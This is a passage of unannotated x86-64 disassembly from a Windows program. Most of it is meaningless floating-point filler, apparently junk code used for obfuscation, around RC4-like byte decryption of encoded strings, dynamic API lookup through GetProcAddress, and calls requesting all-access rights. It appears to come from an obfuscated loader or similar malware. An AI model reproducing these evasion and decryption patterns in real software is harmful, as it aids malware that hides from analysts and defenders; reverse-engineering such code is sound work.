divsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x48]
divsd xmm2, xmm0
movsd qword [rsp + 0x58], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x48]
divsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movss xmm0, dword [0x1408b98cc]
movss xmm1, dword [0x1408b97c0]
movzx r11d, r10b
movzx ebx, r13b
movzx eax, byte [rbp + r11 + 0x20]
mov byte [rbp + r9 + 0x20], al
movzx eax, byte [rbp + rbx + 0x20]
mov byte [rbp + r11 + 0x20], al
movss dword [rsp + 0x40], xmm0
movss xmm0, dword [0x1408b96d4]
movss dword [rsp + 0x78], xmm1
movss xmm1, dword [0x1408b95c8]
movss dword [rsp + 0x50], xmm0
movss xmm0, dword [0x1408b94c8]
movss dword [rsp + 0x60], xmm1
movss dword [rbp - 0x78], xmm0
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rbp - 0x78]
subss xmm2, xmm0
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x60]
addss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x40]
mulss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x78]
mulss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rbp - 0x78]
comiss xmm1, xmm0
jbe 0x14012900b
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rbp - 0x78]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x40]
mulss xmm2, xmm0
mov byte [rbp + rbx + 0x20], cl
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x78]
addss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x78]
mulss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x60]
subss xmm1, xmm0
jmp 0x1401291c3
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x40]
divss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x78]
addss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x40]
divss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x78]
mulss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rbp - 0x78]
subss xmm2, xmm0
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x60]
divss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rbp - 0x78]
divss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x40]
mulss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x60]
comiss xmm1, xmm0
jbe 0x14012915e
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x60]
subss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x78]
addss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x50]
mulss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
jmp 0x1401291c9
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x78]
addss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x50]
mulss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x78]
subss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x60]
divss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movsd xmm0, qword [0x1408b92a0]
mov rax, rcx
movzx ecx, byte [rsp + 0x70]
movsd xmm1, qword [0x1408b9140]
add cl, byte [rbp + rax + 0x20]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1408b8f08]
movsd qword [rsp + 0x50], xmm1
movsd xmm1, qword [0x1408b8cc8]
movsd qword [rsp + 0x60], xmm0
movsd xmm0, qword [0x1408b8a28]
movsd qword [rsp + 0x48], xmm1
movsd qword [rsp + 0x58], xmm0
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
mulsd xmm1, xmm0
mov byte [rsp + 0x70], cl
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x58]
mulsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
addsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
comisd xmm0, xmm1
jbe 0x140129353
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movzx eax, cl
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x50]
movzx ecx, byte [rbp + rax + 0x20]
subsd xmm2, xmm0
movzx eax, byte [rbp + rdx + 0x20]
add rcx, rax
movzx eax, byte [rbp + r11 + 0x20]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + r9 + 0x20]
movsd qword [rsp + 0x58], xmm2
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x48]
movzx edx, byte [rbp + rax + 0x20]
addsd xmm1, xmm0
movzx eax, byte [rbp + rbx + 0x20]
add rcx, rax
movzx eax, cl
movzx r10d, byte [rbp + rdx + 0x20]
xor r10b, byte [rbp + rax + 0x20]
movsd qword [rsp + 0x48], xmm1
xor r10b, r8b
movsd xmm2, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x58]
mulsd xmm2, xmm0
movsd qword [rsp + 0x60], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
jmp 0x1401293c1
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x48]
divsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x48]
divsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x58]
divsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm2, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rsp + 0x60], xmm2
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
test edi, edi
je 0x1401293ce
mov eax, dword [rsp + 0x68]
mov byte [rbp + rax + 0x10], r10b
add r15b, byte [rbp + rbx + 0x20]
inc edi
movzx edx, r10b
inc r13b
movzx r9d, r15b
movzx r8d, r8b
lea eax, [rdi + rdi]
mov dword [rsp + 0x68], edi
movsxd rcx, eax
movzx eax, byte [rbp + r9 + 0x20]
movzx r11d, byte [rcx + r12]
movzx r14d, byte [rcx + r12 + 1]
sub r11d, 0x1e
movzx r12d, byte [rbp + r8 + 0x20]
add r14b, 0x2f
mov byte [rbp + r8 + 0x20], al
movzx eax, byte [rbp + rdx + 0x20]
mov byte [rbp + r9 + 0x20], al
movzx ecx, r13b
shl r11d, 4
or r14b, r11b
movzx eax, byte [rbp + rcx + 0x20]
mov byte [rbp + rdx + 0x20], al
mov byte [rbp + rcx + 0x20], r12b
movzx ecx, byte [rsp + 0x70]
add cl, byte [rbp + r12 + 0x20]
movzx eax, cl
mov byte [rsp + 0x70], cl
movzx ecx, byte [rbp + rax + 0x20]
movzx eax, byte [rbp + r8 + 0x20]
add rcx, rax
movzx eax, byte [rbp + rdx + 0x20]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + r9 + 0x20]
add rcx, r12
movzx edx, byte [rbp + rax + 0x20]
movzx eax, cl
movzx edx, byte [rbp + rdx + 0x20]
xor dl, byte [rbp + rax + 0x20]
xor dl, r14b
test edi, edi
je 0x140129487
mov eax, dword [rbp - 0x80]
mov byte [rbp + rax + 0x10], dl
movsd xmm0, qword [0x1408b9178]
inc edi
movsd xmm1, qword [0x1408b9020]
lea eax, [rdi + rdi]
movsxd rcx, eax
lea rax, [0x14087ba94]
add rcx, rax
movzx eax, byte [rcx]
movzx r8d, byte [rcx + 1]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1408b8e60]
movsd qword [rsp + 0x40], xmm1
movsd xmm1, qword [0x1408b8cf0]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [0x1408b8af0]
movsd qword [rsp + 0x58], xmm1
movsd xmm1, qword [0x1408b8960]
movsd qword [rbp - 0x80], xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm2, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x40]
mulsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x58]
addsd xmm2, xmm0
movsd qword [rsp + 0x58], xmm2
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x40]
addsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x58]
mulsd xmm2, xmm0
movsd qword [rsp + 0x58], xmm2
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x40]
addsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x60]
comisd xmm0, xmm1
jbe 0x1401297af
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rbp - 0x80]
divsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x60]
subsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rbp - 0x80]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x40]
addsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x50]
addsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x40]
addsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
mulsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x48]
divsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
addsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x48]
mulsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rbp - 0x80]
comisd xmm0, xmm1
jbe 0x140129728
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x58]
addsd xmm2, xmm0
movsd qword [rsp + 0x58], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x50]
addsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x58]
mulsd xmm2, xmm0
movsd qword [rsp + 0x58], xmm2
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [rbp - 0x80]
addsd xmm1, xmm0
movsd qword [rbp - 0x80], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x50]
addsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
jmp 0x140129833
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x40]
divsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm2, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x50]
subsd xmm2, xmm0
movsd qword [rsp + 0x48], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x60]
divsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x48]
addsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
jmp 0x140129833
movsd xmm1, qword [rbp - 0x80]
lea r11d, [rax - 0x1e]
movsd xmm0, qword [rsp + 0x48]
subsd xmm1, xmm0
shl r11d, 4
movsd qword [rbp - 0x80], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x48]
mulsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x40]
subsd xmm2, xmm0
movsd qword [rsp + 0x60], xmm2
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rbp - 0x80], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x48]
subsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
add r15b, r12b
movzx r9d, r14b
movzx r10d, r15b
inc r13b
movzx ebx, dl
movzx ecx, r13b
movzx r14d, byte [rbp + r9 + 0x20]
movzx eax, byte [rbp + r10 + 0x20]
mov byte [rbp + r9 + 0x20], al
movzx eax, byte [rbp + rbx + 0x20]
mov byte [rbp + r10 + 0x20], al
movzx eax, byte [rbp + rcx + 0x20]
mov byte [rbp + rbx + 0x20], al
mov byte [rbp + rcx + 0x20], r14b
test edi, edi
je 0x1401298c7
movzx eax, byte [rsp + 0x70]
add r8b, 0x2f
add al, byte [rbp + r14 + 0x20]
or r8b, r11b
movzx eax, al
movzx ecx, byte [rbp + rax + 0x20]
movzx eax, byte [rbp + rbx + 0x20]
add rcx, rax
movzx eax, byte [rbp + r9 + 0x20]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax + 0x20]
movzx eax, byte [rbp + r10 + 0x20]
add rax, r14
movzx eax, al
movzx edx, byte [rbp + rcx + 0x20]
xor dl, byte [rbp + rax + 0x20]
mov eax, dword [rsp + 0x68]
xor dl, r8b
mov byte [rbp + rax + 0x10], dl
movss xmm0, dword [0x1408b9acc]
movss xmm1, dword [0x1408b9a34]
movss dword [rsp + 0x58], xmm0
movss dword [rsp + 0x40], xmm1
movss xmm0, dword [0x1408b9948]
movss xmm1, dword [0x1408b9834]
mov rbx, qword [rbp - 0x60]
movss dword [rsp + 0x78], xmm0
movss xmm0, dword [0x1408b971c]
movss dword [rbp - 0x78], xmm1
movss xmm1, dword [0x1408b960c]
movss dword [rsp + 0x60], xmm0
movss xmm0, dword [0x1408b94e4]
movss dword [rsp + 0x50], xmm1
movss dword [rsp + 0x48], xmm0
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x78]
mulss xmm2, xmm0
movss dword [rsp + 0x78], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x60]
mulss xmm2, xmm0
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
addss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x58]
mulss xmm2, xmm0
movss dword [rsp + 0x58], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
addss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x48]
comiss xmm1, xmm0
movss xmm1, dword [rsp + 0x50]
jbe 0x140129a78
movss xmm0, dword [rsp + 0x60]
addss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x78]
subss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x58]
addss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x60]
mulss xmm2, xmm0
mov byte [rbp + 0x1d], 0
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x60]
addss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x78]
subss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x50]
mulss xmm1, xmm0
jmp 0x140129b03
movss xmm0, dword [rbp - 0x78]
mulss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rbp - 0x78]
divss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x60]
addss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
subss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x60]
mulss xmm2, xmm0
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x58]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
xor r15d, r15d
mov rcx, qword [rbp - 0x58]
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp - 0x30]
mov qword [rbp - 0x50], r15
lea r8, [rbp - 0x20]
mov edx, 0x2000000
lea rcx, [rbp - 0x50]
call rax
mov r9, qword [rbp - 0x50]
movaps xmm9, xmmword [rsp + 0x4c0]
test r9, r9
jne 0x140129b52
mov rax, qword [rbp - 0x68]
mov dword [rax], 2
jmp 0x14012bdc0
mov rax, qword [rbp - 0x40]
xor r8d, r8d
mov r14, qword [rbp - 0x48]
mov edx, 0x1fffff
mov qword [rsp + 0x38], r15
mov rcx, r14
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 1
call rbx
test eax, eax
jns 0x140129b94
mov rcx, qword [rbp - 0x38]
mov dword [rcx], eax
mov rax, qword [rbp - 0x68]
mov dword [rax], 3
jmp 0x14012bdc0
mov rax, qword [r14]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14012bdb6
movsd xmm3, qword [0x1408b93d8]
xor r12b, r12b
movsd qword [rbp - 0x80], xmm10
mov edi, 0x66b8
movsd qword [rsp + 0x68], xmm10
movsd qword [rbp - 0x80], xmm10
movsd qword [rsp + 0x68], xmm10
movsd qword [rsp + 0x68], xmm10
movsd xmm0, qword [rsp + 0x68]
comisd xmm3, xmm0
jbe 0x140129c9b
movsd xmm5, qword [0x1408b8818]
movsd xmm6, qword [0x1408b5148]
movsd xmm7, qword [0x1408b8720]
movsd xmm8, qword [0x1408b87c0]
movsd xmm4, qword [0x1408b8600]
nop
movsd xmm2, qword [rsp + 0x68]
mulsd xmm2, xmm5
mulsd xmm2, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm1, xmm0
movsd xmm0, qword [rsp + 0x68]
mulsd xmm0, xmm6
subsd xmm2, xmm1
mulsd xmm0, qword [rsp + 0x68]
addsd xmm0, xmm7
divsd xmm2, xmm0
addsd xmm2, qword [rbp - 0x80]
movsd qword [rbp - 0x80], xmm2
movsd xmm0, qword [rbp - 0x80]
comisd xmm0, xmm8
jbe 0x140129c7a
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm0, xmm4
subsd xmm1, xmm0
movsd qword [rbp - 0x80], xmm1
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, xmm11
movsd qword [rsp + 0x68], xmm0
movsd xmm1, qword [rsp + 0x68]
comisd xmm3, xmm1
ja 0x140129c10
movsd xmm0, qword [rbp - 0x80]
comisd xmm10, xmm0
jbe 0x140129cb6
call fcn.14087b4a3
call fcn.14087b4d7
jmp 0x14012bd73
movss xmm0, dword [0x1408b9ac8]
movss xmm1, dword [0x1408b99dc]
movss dword [rsp + 0x60], xmm0
movss xmm0, dword [0x1408b9874]
movss dword [rsp + 0x40], xmm1
movss xmm1, dword [0x1408b96f0]
movss dword [rsp + 0x58], xmm0
movss xmm0, dword [0x1408b9560]
movss dword [rsp + 0x50], xmm1
movss dword [rsp + 0x48], xmm0
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
mulss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x50]
addss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x48]
subss xmm2, xmm0
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
comiss xmm1, xmm0
jbe 0x140129de2
movss xmm1, dword [rsp + 0x40]
lea rdi, [fcn.14087b4d7]
movss xmm0, dword [rsp + 0x58]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x40]
addss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x50]
addss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x50]
jmp 0x140129e40
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x58]
mulss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x50]
subss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
addss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x40]
addss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x58]
lea rcx, [rbp + 0x120]
addss xmm1, xmm0
mov eax, r15d
movss dword [rsp + 0x58], xmm1
nop word [rax + rax]
mov byte [rcx], al
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x100
jb 0x140129e60
mov r9d, r15d
xor cl, cl
nop dword [rax]
nop dword [rax + rax]
mov r10d, 1
mov ebx, r15d
cmp esi, r10d
jbe 0x140129ea0
nop
lea r10d, [r10*2 + 1]
cmp r10d, esi
jb 0x140129e90
nop dword [rax]
movzx eax, cl
movzx edx, byte [rbp + rax + 0x120]
mov eax, r9d
test r9d, r9d
je 0x140129ef9
sub eax, 1
je 0x140129eea
sub eax, 1
je 0x140129edb
cmp eax, 1
je 0x140129ecc
lea eax, [r9 - 4]
movzx eax, byte [rax + rdi]
jmp 0x140129f03
movsd xmm0, qword [rbp - 0x80]
cvttsd2si rax, xmm0
shr eax, 0x18
jmp 0x140129f03
movsd xmm0, qword [rbp - 0x80]
cvttsd2si rax, xmm0
shr eax, 0x10
jmp 0x140129f03
movsd xmm0, qword [rbp - 0x80]
cvttsd2si rax, xmm0
shr eax, 8
jmp 0x140129f03
movsd xmm0, qword [rbp - 0x80]
cvttsd2si rax, xmm0
add al, dl
lea r8d, [r9 + 1]
movzx edx, al
cmp r8d, 0x21
mov r9d, r15d
cmovb r9d, r8d
lea eax, [rdx + 0x21]
movzx ecx, al
cmovb ecx, edx
inc ebx
movzx r11d, cl
mov eax, r11d
and eax, r10d
cmp ebx, 0xb
jbe 0x140129f37
xor edx, edx
div esi
mov eax, edx
movzx ecx, r11b
cmp eax, esi
ja 0x140129ea0
je 0x140129f75
mov edx, eax
mov ecx, esi
movzx eax, byte [rbp + rdx + 0x120]
xor al, byte [rbp + rcx + 0x120]
mov byte [rbp + rcx + 0x120], al
xor byte [rbp + rdx + 0x120], al
movzx eax, byte [rbp + rdx + 0x120]
xor byte [rbp + rcx + 0x120], al
movzx ecx, r11b
add esi, 0xffffffff
jne 0x140129e80
movsd xmm0, qword [0x1408b9260]
movsd xmm1, qword [0x1408b9188]
movsd qword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1408b9030]
movsd qword [rbp - 0x80], xmm1
movsd xmm1, qword [0x1408b8e70]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1408b8d10]
movsd qword [rsp + 0x60], xmm1
movsd xmm1, qword [0x1408b8af8]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1408b8968]
movsd qword [rsp + 0x50], xmm1
movsd qword [rsp + 0x58], xmm0
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
